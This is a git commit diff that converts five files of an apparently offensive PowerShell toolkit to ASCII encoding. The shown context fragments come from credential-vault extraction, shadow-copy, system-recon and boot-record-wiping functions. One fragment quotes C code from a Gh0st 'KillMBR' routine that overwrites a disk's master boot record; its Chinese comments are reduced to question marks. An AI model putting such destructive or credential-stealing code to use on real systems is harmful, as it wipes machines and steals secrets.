Normalizing all files to ascii encoding

This commit is contained in:
Matt Graeber 2015-11-04 13:48:27 -05:00
parent 2dd1f5920d
commit 12ce71b9f4
5 changed files with 11 additions and 11 deletions

View File

@ -1,4 +1,4 @@
function Get-VaultCredential
function Get-VaultCredential
{
<#
.SYNOPSIS
@ -398,4 +398,4 @@ Only web credentials can be displayed in cleartext.
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
}
}
}
}

View File

@ -1,4 +1,4 @@
function Get-VolumeShadowCopy
function Get-VolumeShadowCopy
{
<#
.SYNOPSIS
@ -289,4 +289,4 @@ function Mount-VolumeShadowCopy
{
}
}
}

View File

@ -1,4 +1,4 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Mayhem.psm1'

View File

@ -1,4 +1,4 @@
function Set-MasterBootRecord
function Set-MasterBootRecord
{
<#
.SYNOPSIS
@ -57,7 +57,7 @@ int CGh0stApp::KillMBR()
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
@ -85,7 +85,7 @@ int CGh0stApp::KillMBR()
&dwBytesReturned,
NULL
);
// 写入病毒内容
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
@ -363,4 +363,4 @@ Set-CriticalProcess -Force -Verbose
{
Stop-Process -Id $PID
}
}
}

View File

@ -1,4 +1,4 @@
function Get-ComputerDetails
function Get-ComputerDetails
{
<#
.SYNOPSIS
@ -577,4 +577,4 @@ Github repo: https://github.com/clymb3r/PowerShell
}
return $ReturnInfo
}
}